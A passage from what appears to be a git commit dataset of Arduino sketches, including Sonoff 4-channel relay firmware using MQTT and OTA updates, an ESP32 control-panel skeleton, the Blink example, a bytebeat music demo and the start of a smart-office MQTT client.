publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n **** USE THIS Firmware for: Sonoff 4CH ****\n **** Make sure to select \"Generic ESP8285 Module\" from the BOARD menu in TOOLS ****\n **** Flash Size \"1M (64K SPIFFS)\" ****\n\n*\/\n\n#include <EEPROM.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n#include <PubSubClient.h>\n#include <Ticker.h>\n\n#define BUTTON1 0 \/\/ (Do not Change)\n#define BUTTON2 9 \/\/ (Do not Change)\n#define BUTTON3 10 \/\/ (Do not Change)\n#define BUTTON4 14 \/\/ (Do not Change)\n#define RELAY1 12 \/\/ (Do not Change)\n#define RELAY2 5 \/\/ (Do not Change)\n#define RELAY3 4 \/\/ (Do not Change)\n#define RELAY4 15 \/\/ (Do not Change)\n#define LED 13 \/\/ (Do not Change)\n\n#define MQTT_CLIENT \"Sonoff_Living_Room_v1.0pow\" \/\/ mqtt client_id (Must be unique for each Sonoff)\n#define MQTT_SERVER \"192.168.0.100\" \/\/ mqtt server\n#define MQTT_PORT 1883 \/\/ mqtt port\n#define MQTT_TOPIC \"home\/sonoff\/living_room\/1\" \/\/ mqtt topic (Must be unique for each Sonoff)\n#define MQTT_USER \"user\" \/\/ mqtt user\n#define MQTT_PASS \"pass\" \/\/ mqtt password\n\n#define WIFI_SSID \"homewifi\" \/\/ wifi ssid\n#define WIFI_PASS \"homepass\" \/\/ wifi password\n\n#define VERSION \"\\n\\n--------------- Sonoff TH Powerpoint v1.01pOTA ---------------\"\n\nbool rememberRelayState1 = true; \/\/ If 'true' remembers the state of the relay 1 before power loss.\nbool rememberRelayState2 = true; \/\/ If 'true' remembers the state of the relay 2 before power loss.\nbool rememberRelayState3 = true; \/\/ If 'true' remembers the state of the relay 3 before power loss.\nbool rememberRelayState4 = true; \/\/ If 'true' remembers the state of the relay 4 before power loss.\nbool requestRestart = false; \/\/ (Do not Change)\nbool sendStatus1 = false, sendStatus2 = false; \/\/ (Do not Change)\nbool sendStatus3 = false, sendStatus4 = false; \/\/ (Do not Change)\nbool OTAupdate = false; \/\/ (Do not Change)\n\nint kUpdFreq = 1; \/\/ Update frequency in Mintes to check for mqtt connection\nint kRetries = 10; \/\/ WiFi retry count. Increase if not connecting to router.\nint lastRelayState1, lastRelayState2; \/\/ (Do not Change)\nint lastRelayState3, lastRelayState4; \/\/ (Do not Change)\n\nunsigned long TTasks; \/\/ (Do not Change)\nunsigned long count1 = 0; \/\/ (Do not Change)\nunsigned long count2 = 0; \/\/ (Do not Change)\nunsigned long count3 = 0; \/\/ (Do not Change)\nunsigned long count4 = 0; \/\/ (Do not Change)\n\nextern \"C\" { \n #include \"user_interface.h\" \n}\n\nWiFiClient wifiClient;\nPubSubClient mqttClient(wifiClient, MQTT_SERVER, MQTT_PORT);\nTicker btn_timer1, btn_timer2, btn_timer3, btn_timer4;\n\nvoid callback(const MQTT::Publish& pub) {\n if (pub.payload_string() == \"stat\") {\n }\n else if (pub.payload_string() == \"1on\") {\n digitalWrite(RELAY1, HIGH);\n sendStatus1 = true;\n }\n else if (pub.payload_string() == \"1off\") {\n digitalWrite(RELAY1, LOW);\n sendStatus1 = true;\n }\n else if (pub.payload_string() == \"2on\") {\n digitalWrite(RELAY2, HIGH);\n sendStatus2 = true;\n }\n else if (pub.payload_string() == \"2off\") {\n digitalWrite(RELAY2, LOW);\n sendStatus2 = true;\n }\n else if (pub.payload_string() == \"3on\") {\n digitalWrite(RELAY3, HIGH);\n sendStatus3 = true;\n }\n else if (pub.payload_string() == \"3off\") {\n digitalWrite(RELAY3, LOW);\n sendStatus3 = true;\n }\n else if (pub.payload_string() == \"4on\") {\n digitalWrite(RELAY4, HIGH);\n sendStatus4 = true;\n }\n else if (pub.payload_string() == \"4off\") {\n digitalWrite(RELAY4, LOW);\n sendStatus4 = true;\n }\n else if (pub.payload_string() == \"reset\") {\n requestRestart = true;\n }\n}\n\nvoid setup() {\n pinMode(LED, OUTPUT);\n pinMode(RELAY1, OUTPUT);\n pinMode(RELAY2, OUTPUT);\n pinMode(RELAY3, OUTPUT);\n pinMode(RELAY4, OUTPUT);\n pinMode(BUTTON1, INPUT);\n pinMode(BUTTON2, INPUT);\n pinMode(BUTTON3, INPUT);\n pinMode(BUTTON4, INPUT);\n digitalWrite(LED, HIGH);\n digitalWrite(RELAY1, LOW);\n digitalWrite(RELAY2, LOW);\n digitalWrite(RELAY3, LOW);\n digitalWrite(RELAY4, LOW);\n Serial.begin(115200);\n EEPROM.begin(8);\n lastRelayState1 = EEPROM.read(0);\n lastRelayState2 = EEPROM.read(1);\n lastRelayState3 = EEPROM.read(2);\n lastRelayState4 = EEPROM.read(3);\n if (rememberRelayState1 && lastRelayState1 == 1) {\n digitalWrite(RELAY1, HIGH);\n }\n if (rememberRelayState2 && lastRelayState2 == 1) {\n digitalWrite(RELAY2, HIGH);\n }\n if (rememberRelayState3 && lastRelayState3 == 1) {\n digitalWrite(RELAY3, HIGH);\n }\n if (rememberRelayState4 && lastRelayState4 == 1) {\n digitalWrite(RELAY4, HIGH);\n }\n btn_timer1.attach(0.05, button1);\n btn_timer2.attach(0.05, button2);\n btn_timer3.attach(0.05, button3);\n btn_timer4.attach(0.05, button4);\n mqttClient.set_callback(callback);\n WiFi.mode(WIFI_STA);\n WiFi.begin(WIFI_SSID, WIFI_PASS);\n ArduinoOTA.onStart([]() {\n OTAupdate = true;\n blinkLED(LED, 400, 2);\n digitalWrite(LED, HIGH);\n Serial.println(\"OTA Update Initiated . . .\");\n });\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\nOTA Update Ended . . .s\");\n OTAupdate = false;\n requestRestart = true;\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n digitalWrite(LED, LOW);\n delay(5);\n digitalWrite(LED, HIGH);\n Serial.printf(\"Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n blinkLED(LED, 40, 2);\n OTAupdate = false;\n Serial.printf(\"OTA Error [%u] \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\". . . . . . . . . . . . . . . Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\". . . . . . . . . . . . . . . Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\". . . . . . . . . . . . . . . Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\". . . . . . . . . . . . . . . Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\". . . . . . . . . . . . . . . End Failed\");\n });\n ArduinoOTA.begin();\n Serial.println(VERSION);\n Serial.print(\"\\nUnit ID: \");\n Serial.print(\"esp8266-\");\n Serial.print(ESP.getChipId(), HEX);\n Serial.print(\"\\nConnecting to \"); Serial.print(WIFI_SSID); Serial.print(\" Wifi\"); \n while ((WiFi.status() != WL_CONNECTED) && kRetries --) {\n delay(500);\n Serial.print(\" .\");\n }\n if (WiFi.status() == WL_CONNECTED) { \n Serial.println(\" DONE\");\n Serial.print(\"IP Address is: \"); Serial.println(WiFi.localIP());\n Serial.print(\"Connecting to \");Serial.print(MQTT_SERVER);Serial.print(\" Broker . .\");\n delay(500);\n while (!mqttClient.connect(MQTT::Connect(MQTT_CLIENT).set_keepalive(90).set_auth(MQTT_USER, MQTT_PASS)) && kRetries --) {\n Serial.print(\" .\");\n delay(1000);\n }\n if(mqttClient.connected()) {\n Serial.println(\" DONE\");\n Serial.println(\"\\n---------------------------- Logs ----------------------------\");\n Serial.println();\n mqttClient.subscribe(MQTT_TOPIC);\n blinkLED(LED, 40, 8);\n digitalWrite(LED, LOW);\n }\n else {\n Serial.println(\" FAILED!\");\n Serial.println(\"\\n----------------------------------------------------------------\");\n Serial.println();\n }\n }\n else {\n Serial.println(\" WiFi FAILED!\");\n Serial.println(\"\\n----------------------------------------------------------------\");\n Serial.println();\n }\n}\n\nvoid loop() { \n ArduinoOTA.handle();\n if (OTAupdate == false) { \n mqttClient.loop();\n timedTasks();\n checkStatus();\n }\n}\n\nvoid blinkLED(int pin, int duration, int n) { \n for(int i=0; i<n; i++) { \n digitalWrite(pin, HIGH); \n delay(duration);\n digitalWrite(pin, LOW);\n delay(duration);\n }\n}\n\nvoid button1() {\n if (!digitalRead(BUTTON1)) {\n count1++;\n } \n else {\n if (count1 > 1 && count1 <= 40) { \n digitalWrite(RELAY1, !digitalRead(RELAY1));\n sendStatus1 = true;\n } \n else if (count1 >40){\n Serial.println(\"\\n\\nSonoff Rebooting . . . . . . . . Please Wait\"); \n requestRestart = true;\n } \n count1=0;\n }\n}\n\nvoid button2() {\n if (!digitalRead(BUTTON2)) {\n count2++;\n } \n else {\n if (count2 > 1 && count2 <= 40) { \n digitalWrite(RELAY2, !digitalRead(RELAY2));\n sendStatus2 = true;\n } \n count2=0;\n }\n}\n\nvoid button3() {\n if (!digitalRead(BUTTON3)) {\n count3++;\n } \n else {\n if (count3 > 1 && count3 <= 40) { \n digitalWrite(RELAY3, !digitalRead(RELAY3));\n sendStatus3 = true;\n } \n count3=0;\n }\n}\n\nvoid button4() {\n if (!digitalRead(BUTTON4)) {\n count4++;\n } \n else {\n if (count4 > 1 && count4 <= 40) { \n digitalWrite(RELAY4, !digitalRead(RELAY4));\n sendStatus4 = true;\n } \n count4=0;\n }\n}\n\nvoid checkConnection() {\n if (WiFi.status() == WL_CONNECTED) {\n if (mqttClient.connected()) {\n Serial.println(\"mqtt broker connection . . . . . . . . . . OK\");\n } \n else {\n Serial.println(\"mqtt broker connection . . . . . . . . . . LOST\");\n requestRestart = true;\n }\n }\n else { \n Serial.println(\"WiFi connection . . . . . . . . . . LOST\");\n requestRestart = true;\n }\n}\n\nvoid checkStatus() {\n if (sendStatus1) {\n if(digitalRead(RELAY1) == LOW) {\n if (rememberRelayState1) {\n EEPROM.write(0, 0);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"1off\").set_retain().set_qos(1));\n Serial.println(\"Relay 1 . . . . . . . . . . . . . . . . . . OFF\");\n } else {\n if (rememberRelayState1) {\n EEPROM.write(0, 1);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"1on\").set_retain().set_qos(1));\n Serial.println(\"Relay 1 . . . . . . . . . . . . . . . . . . ON\");\n }\n sendStatus1 = false;\n }\n if (sendStatus2) {\n if(digitalRead(RELAY2) == LOW) {\n if (rememberRelayState2) {\n EEPROM.write(1, 0);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"2off\").set_retain().set_qos(2));\n Serial.println(\"Relay 2 . . . . . . . . . . . . . . . . . . OFF\");\n } else {\n if (rememberRelayState2) {\n EEPROM.write(1, 1);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"2on\").set_retain().set_qos(2));\n Serial.println(\"Relay 2 . . . . . . . . . . . . . . . . . . ON\");\n }\n sendStatus2 = false;\n }\n if (sendStatus3) {\n if(digitalRead(RELAY3) == LOW) {\n if (rememberRelayState3) {\n EEPROM.write(2, 0);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"3off\").set_retain().set_qos(3));\n Serial.println(\"Relay 3 . . . . . . . . . . . . . . . . . . OFF\");\n } else {\n if (rememberRelayState3) {\n EEPROM.write(2, 1);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"3on\").set_retain().set_qos(3));\n Serial.println(\"Relay 3 . . . . . . . . . . . . . . . . . . ON\");\n }\n sendStatus3 = false;\n }\n if (sendStatus4) {\n if(digitalRead(RELAY4) == LOW) {\n if (rememberRelayState4) {\n EEPROM.write(3, 0);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"4off\").set_retain().set_qos(4));\n Serial.println(\"Relay 4 . . . . . . . . . . . . . . . . . . OFF\");\n } else {\n if (rememberRelayState4) {\n EEPROM.write(3, 1);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"4on\").set_retain().set_qos(4));\n Serial.println(\"Relay 4 . . . . . . . . . . . . . . . . . . ON\");\n }\n sendStatus4 = false;\n }\n if (rememberRelayState1 || rememberRelayState2 || rememberRelayState3 || rememberRelayState4) {\n EEPROM.commit();\n }\n if (requestRestart) {\n blinkLED(LED, 400, 4);\n ESP.restart();\n }\n}\n\nvoid timedTasks() {\n if ((millis() > TTasks + (kUpdFreq*60000)) || (millis() < TTasks)) { \n TTasks = millis();\n checkConnection();\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ESPsonoff_4CH-v1.01pOTA\/ESPsonoff_4CH-v1.01pOTA.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b869784e2fda23c7db7b82f8a08e2c5736280da","subject":"initial upload, most librarys already selected","message":"initial upload, most librarys already selected","repos":"jrsmile\/esp32-room-control-panel,jrsmile\/esp32-room-control-panel,jrsmile\/esp32-room-control-panel","old_file":"esp32.ino","new_file":"esp32.ino","new_contents":"\/\/ WIFI Client Lib\n#include <ssl_client.h>\n#include <WiFiClientSecure.h>\n\/\/ MQTT Lib\n#include <PubSubClient.h>\n\/\/ OLED Display\n#include <OLEDDisplay.h>\n#include <OLEDDisplayFonts.h>\n#include <OLEDDisplayUi.h>\n#include <SSD1306.h>\n#include <SSD1306Wire.h>\n\/\/ Rotary Encoder Lib\n#include <ky-040.h>\n\n\/\/-------- Customise these values -----------\nconst char* ssid = \"uberssid\";\nconst char* password = \"securewlanpass\";\nconst char* mqttServer = \"mqtt.server.local\";\nconst int mqttPort = 8883;\nconst char* mqttUser = \"mqttuserName\";\nconst char* mqttPassword = \"mqttpassw0rd\";\nconst char* mqttDeviceName = \"DeviceName\";\n\n\/\/ Initialize the OLED display using Wire library\nSSD1306 display(0x3c, 5, 4);\n\/\/ Init WLAN\nWiFiClientSecure wifiClientSecure;\n\/\/ Init MQTT\nPubSubClient client(mqttServer, mqttPort, wifiClientSecure);\n\/\/ Init Encoder\n#define ENCODER_CLK1 2 \/\/ This pin must have a minimum 0.47 uF capacitor\n \/\/ The current library only allows pins 2 or 3\n#define ENCODER_DT1 12 \/\/ data pin\n#define ENCODER_SW1 11 \/\/ switch pin (active LOW)\n#define MAX_ROTARIES1 1 \/\/ this example define two rotaries for this encoder\n#define ROTARY_ID1 0 \/\/ Ids can range from 0 to 254, 255 is reserved\nky040 encoder1(ENCODER_CLK1, ENCODER_DT1, ENCODER_SW1, MAX_ROTARIES1 );\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \/\/ Init Display\n display.init();\n display.flipScreenVertically();\n display.setFont(ArialMT_Plain_10);\n display.setTextAlignment(TEXT_ALIGN_LEFT);\n \/\/ Init WIFI\n initWiFi();\n \/\/ Init MQTT\n client.setServer(mqttServer, mqttPort);\n client.setCallback(callback);\n while (!client.connected()) {\n if (client.connect(mqttDeviceName, mqttUser, mqttPassword )) {\n } else {\n delay(1000);\n }\n }\n client.subscribe(\"test\");\n \/\/ Init Rotary\n encoder1.AddRotaryCounter(ROTARY_ID1, 10, -100, 100, 1, true );\n encoder1.SetRotary(ROTARY_ID1);\n encoder1.SetChanged(ROTARY_ID1); \/\/ This way we can force an update the first time through\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/ MQTT Loop\n client.loop();\n}\n\nvoid initWiFi() {\n if (strcmp (WiFi.SSID().c_str(), ssid) != 0) {\n WiFi.begin(ssid, password);\n }\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n } \n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n \n Serial.print(\"Message arrived in topic: \");\n Serial.println(topic);\n \n Serial.print(\"Message:\");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n \n Serial.println();\n Serial.println(\"-----------------------\");\n \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp32.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5be7cd150de3645c118d1a4e4a4cab24da388a88","subject":"Create hello.ino","message":"Create hello.ino","repos":"kritagyaAdhikari\/kriFram","old_file":"hello-world\/hello.ino","new_file":"hello-world\/hello.ino","new_contents":"\/\/include the framework\n#include \"kriFram-0.h\"\n\nvoid setup() {\n \/\/ initialize framework.\n kritagyaSetup();\n\n \n\/\/home page is not declared by framework app should make it\nserver.on ( \"\/home\", handleRoot );\nserver.on ( \"\/\", handleRoot );\n\n\/\/add custom link on settings page\naddCustomSetting(\"call\",\"Callibrate\");\n\/\/map custom setting page to function\nserver.on(\"\/call\", handleCall );\n\n\n\/\/start webServer\nserver.begin();\n\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n \/\/loop framework\n kritagyaLoop();\n}\n\n\n\nvoid handleRoot() {\n String temp = \"Hello World!\";\n server.send ( 200, \"text\/html\", headder + temp + footer );\n Serial.println ( \"root page sent\" );\n}\n\nvoid handleCall(){\n String temp = \"Hello World!\";\n server.send ( 200, \"text\/html\", headder + temp + footer );\n Serial.println ( \"callibration page sent\" );\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hello-world\/hello.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b4e7ee95e42252ffa95ae64f98409df26fc67f4e","subject":"Add blink file too for ease of access","message":"Add blink file too for ease of access","repos":"ieee-uiuc\/arduino-workshop,ieee-uiuc\/arduino-workshop","old_file":"software\/main\/Blink.ino","new_file":"software\/main\/Blink.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n\n Most Arduinos have an on-board LED you can control. On the Uno and\n Leonardo, it is attached to digital pin 13. If you're unsure what\n pin the on-board LED is connected to on your Arduino model, check\n the documentation at http:\/\/arduino.cc\n\n This example code is in the public domain.\n\n modified 8 May 2014\n by Scott Fitzgerald\n *\/\n\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/main\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"78bd38bdfcdcd2431640d4684a61ad513738ede6","subject":"properly named Chipdisk.ino now","message":"properly named Chipdisk.ino now\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/C.Advanced\/Chipdisk\/Chipdisk.ino","new_file":"examples-ltc\/C.Advanced\/Chipdisk\/Chipdisk.ino","new_contents":"\/* Chipdisk demo -- generate 8-bit PWM procedurally generated music\n *\n * Hook up a speaker or headphones between pins 0 and 1 -- this uses a bridge drive (push\/pull) topology\n * \n * Touch pin 4 for \"Previous Song\"\n * Touch pin 5 for \"Next Song\"\n *\/\n\n#include \"Arduino.h\"\n#include \"ChibiOS.h\"\n#include \"kl02.h\"\n#include \"memio.h\"\n\n\/\/ The system is running off of a 32.768 kHz crystal going through\n\/\/ a 1464x FLL multiplier, giving a system frequency of\n\/\/ 47.972352 MHz.\n\n\/\/ The number of ticks that the sound system has gone through.\n\/\/ Overflows after about three days, at 14 kHz.\nvolatile uint32_t global_tick_counter;\n\n\/\/ The next sample to be played, nominally between -128 and 127\nstatic volatile int32_t next_sample;\n\n\/\/ Nonzero if a sample has been queued, zero if the sample buffer is empty.\nstatic volatile uint8_t sample_queued;\n\nstruct song\n{\n uint8_t (*generator)(uint32_t t);\n uint8_t delay_loops;\n};\n\n\/\/ mu6k http:\/\/www.youtube.com\/watch?v=tCRPUv8V22o 32.0 kHz\nstatic uint8_t mu6k_generator(uint32_t t)\n{\n uint32_t y = 0;\n uint32_t x = 0;\n return (((int)(3e3 \/ (y = t & 16383)) & 1) * 35) +\n (x = t * (\"6689\"[t >> 16 & 3] & 15) \/ 24 & 127) * y \/ 4e4 +\n (((t >> 8 ^ t >> 10) | t >> 14 | x) & 63);\n}\n\n\/\/ kb 2011-10-04 http:\/\/pouet.net\/topic.php?which=8357&page=8 44kHz\nstatic uint8_t kb1_generator(uint32_t t)\n{\n return ((t \/ 2 * (15 & (0x234568a0 >> (t >> 8 & 28)))) | t \/ 2 >> (t >> 11) ^ t >> 12) + (t \/ 16 & t & 24);\n}\n\n\/\/ stephth 2011-10-03 http:\/\/news.ycombinator.com\/item?id=3063359\nstatic uint8_t stephth_generator(uint32_t t)\n{\n return (t * 9 & t >> 4 | t * 5 & t >> 7 | t * 3 & t \/ 1024) - 1;\n}\n\n\/\/ ryg 2011-10-10 http:\/\/www.youtube.com\/watch?v=tCRPUv8V22o 44.1 kHz\nstatic uint8_t ryg_generator(uint32_t t)\n{\n return ((t * (\"36364689\"[t >> 13 & 7] & 15)) \/ 12 & 128) + (((((t >> 12) ^ (t >> 12) - 2) % 11 * t) \/ 4 | t >> 13) & 127);\n}\n\n\/\/ xpansive 2011-09-29 http:\/\/pouet.net\/topic.php?which=8357&page=2 \"Lost in Space\"\nstatic uint8_t xpansive_generator(uint32_t t)\n{\n return ((t * (t >> 8 | t >> 9) & 46 & t >> 8)) ^ (t & t >> 13 | t >> 6);\n}\n\n\/\/ rez 2011-10-05 http:\/\/pouet.net\/topic.php?which=8357&page=11 js-only optimized by ryg\nstatic uint8_t rez_generator(uint32_t t)\n{\n return t * (1 + \"4451\"[t >> 13 & 3] \/ 10) & t >> 9 + ((int)(t * 0.003) & 3);\n}\n\n\/\/ visy 2011-10-06 http:\/\/pouet.net\/topic.php?which=8357&page=13\nstatic uint8_t visy_generator(uint32_t t)\n{\n return (t % 25 - (t >> 2 | t * 15 | t % 227) - t >> 3) | ((t >> 5) & (t << 5) * 1663 | (t >> 3) % 1544) \/ (t % 17 | t % 2048);\n}\n\n\/\/ bear @ celephais\nstatic uint8_t bear_gen(uint32_t t)\n{\n return t >> 6 ^ t & 37 | t + (t ^ t >> 11) - t * ((t % 24 ? 2 : 6) & t >> 11) ^ t << 1 & (t & 598 ? t >> 4 : t >> 10);\n}\n\nstatic struct song songs[] = {\n {\n .generator = mu6k_generator,\n .delay_loops = 3,\n },\n {\n .generator = kb1_generator,\n .delay_loops = 1,\n },\n {\n .generator = stephth_generator,\n .delay_loops = 14,\n },\n {\n .generator = ryg_generator,\n .delay_loops = 1,\n },\n {\n .generator = xpansive_generator,\n .delay_loops = 13,\n },\n {\n .generator = rez_generator,\n .delay_loops = 13,\n },\n {\n .generator = visy_generator,\n .delay_loops = 13,\n },\n {\n .generator = bear_gen,\n .delay_loops = 13,\n }};\nstatic struct song *current_song = &songs[0];\nstatic uint32_t current_song_idx = 0;\n\nstatic int pwm0_stable_timer(void)\n{\n static int loops = 0;\n\n \/* Reset the timer IRQ, to allow us to fire again next time *\/\n writel(TPM0_STATUS_CH1F | TPM0_STATUS_CH0F | TPM0_STATUS_TOF, TPM0_STATUS);\n\n if (loops++ > current_song->delay_loops)\n {\n int32_t scaled_sample = next_sample + 130;\n if (scaled_sample > 255)\n scaled_sample = 255;\n if (scaled_sample <= 0)\n scaled_sample = 1;\n writel(scaled_sample, TPM0_C1V);\n writel(scaled_sample, TPM0_C0V);\n\n loops = 0;\n sample_queued = 0;\n global_tick_counter++;\n }\n\n return 0;\n}\n\nstatic void prepare_pwm()\n{\n \/\/ Write dummy values out, to configure PWM mux\n pinMode(0, OUTPUT);\n analogWrite(0, 63);\n pinMode(1, OUTPUT);\n analogWrite(1, 63);\n\n \/\/ Disable TPM0, allowing us to configure it\n writel(0, TPM0_SC);\n\n \/\/ Also disable both channels, which are running from the\n \/\/ calls to analogWrite() above\n writel(0, TPM0_C0SC);\n writel(0, TPM0_C1SC);\n\n \/\/ Configure the TPM to use the MCGFLLCLK (~32 MHz?)\n writel(readl(SIM_SOPT2) | (1 << 24), SIM_SOPT2);\n\n \/\/ We've picked pin 0, which is on TPM0_CH1\n writel(255, TPM0_MOD);\n writel(0, TPM0_CNT);\n\n writel(TPM0_C0SC_MSB | TPM0_C0SC_ELSB, TPM0_C0SC);\n writel(TPM0_C1SC_MSB | TPM0_C1SC_ELSA, TPM0_C1SC);\n\n writel(100, TPM0_C1V);\n writel(100, TPM0_C0V);\n writel(TPM0_SC_TOF | TPM0_SC_TOIE | TPM0_SC_CMOD(1) | TPM0_SC_PS(0), TPM0_SC); \/\/ Enable TPM0\n\n \/* Enable the IRQ in the system-wide interrupt table *\/\n attachFastInterrupt(PWM0_IRQ, pwm0_stable_timer);\n}\n\nstatic void touch_thread(void *ignored)\n{\n uint32_t start_time;\n const uint32_t next_pin = 5, prev_pin = 4;\n static uint8_t last_state;\n\n while (1)\n {\n \/\/ Set pin 1 high.\n pinMode(next_pin, OUTPUT);\n pinMode(prev_pin, OUTPUT);\n digitalWrite(next_pin, HIGH);\n digitalWrite(prev_pin, HIGH);\n \/\/ Wait a moment for it to charge.\n delay(2);\n\n \/\/ Set the pin back to an input and wait for it to change.\n start_time = micros();\n pinMode(next_pin, INPUT);\n pinMode(prev_pin, INPUT);\n uint32_t end_time_next = 0;\n uint32_t end_time_prev = 0;\n uint8_t next_val, prev_val;\n do\n {\n next_val = digitalRead(next_pin);\n prev_val = digitalRead(prev_pin);\n if (end_time_next == 0 && !next_val)\n {\n end_time_next = micros();\n }\n if (end_time_prev == 0 && !prev_val)\n end_time_prev = micros();\n } while (next_val || prev_val);\n\n if ((end_time_next - start_time) > 100)\n {\n if (last_state != 1)\n {\n current_song_idx++;\n if (current_song_idx >= (sizeof(songs) \/ sizeof(*songs)))\n current_song_idx = 0;\n current_song = &songs[current_song_idx];\n global_tick_counter = 0;\n }\n last_state = 1;\n }\n else if ((end_time_prev - start_time) > 100)\n {\n if (last_state != 1)\n {\n if (current_song_idx == 0)\n current_song_idx = (sizeof(songs) \/ sizeof(*songs)) - 1;\n else\n current_song_idx--;\n\n current_song = &songs[current_song_idx];\n global_tick_counter = 0;\n }\n last_state = 1;\n }\n else\n last_state = 0;\n\n delay(50);\n }\n}\n\nvoid setup(void)\n{\n prepare_pwm();\n enableInterrupt(PWM0_IRQ);\n createThreadFromHeap(64, 120, touch_thread, NULL);\n}\n\nvoid loop(void)\n{\n\n \/\/ If a sample is still in the buffer, don't do anything.\n if (sample_queued)\n return;\n\n next_sample = (current_song->generator(global_tick_counter) & 0xff) - 128;\n sample_queued = 1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/C.Advanced\/Chipdisk\/Chipdisk.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"25a7cb2b49f5324101f3ed60cdc1dffb76738f27","subject":"Save a snap","message":"Save a snap\n","repos":"yunbademo\/yunba-smartoffice,shdxiang\/yunba-smartoffice,shdxiang\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice","old_file":"sketch_yunba\/sketch_yunba.ino","new_file":"sketch_yunba\/sketch_yunba.ino","new_contents":"#include <Ethernet.h>\n#include <ArduinoJson.h>\n#include <MQTTClient.h>\n\nconst char *g_appkey = \"56a0a88c4407a3cd028ac2fe\";\nconst char *g_topic = \"office\";\nconst char *g_devid = \"plug_plc\";\n\n#define BUFSIZE 128\n#define JSON_BUFSIZE 128\n#define PIN_CONTROL 4\n\nbool g_net_status = false;\nchar g_url[32];\n\nchar g_addr[32];\nuint16_t g_port;\n\nunsigned long g_last_check_ms = 0;\nchar client_id[32];\nchar username[24];\nchar password[16];\n\nEthernetClient *mqtt_net_client;\nMQTTClient *mqtt_client;\n\nuint8_t g_status = 0;\n\nbool get_ip_port() {\n char *p = strstr(g_url, \"tcp:\/\/\");\n if (p) {\n p += 6;\n char *q = strchr(p, ':');\n if (q) {\n int len = strlen(p) - strlen(q);\n if (len > 0) {\n memcpy(g_addr, p, len);\n g_port = (uint16_t)atoi(q + 1);\n#if 0\n Serial.print(\"i:\");\n Serial.println(g_addr);\n Serial.print(\"p:\");\n Serial.println(g_port);\n#endif\n return true;\n }\n }\n }\n return false;\n}\n\nvoid simple_send_recv(uint8_t *buf, uint16_t *len, const char *host, uint16_t port) {\n EthernetClient net_client;\n\n while (0 == net_client.connect(host, port)) {\n Serial.println(\"cs\"); \/\/ connect server\n delay(1000);\n }\n delay(100);\n\n Serial.println(\"wd\"); \/\/ write data\n Serial.println((char *)buf + 3);\n net_client.write(buf, *len);\n net_client.flush();\n\n Serial.println(\"ca\"); \/\/ check available\n while (!net_client.available()) {\n Serial.println(\"..\"); \/\/ wait data\n delay(1000);\n }\n\n Serial.println(\"rd\"); \/\/ read data\n 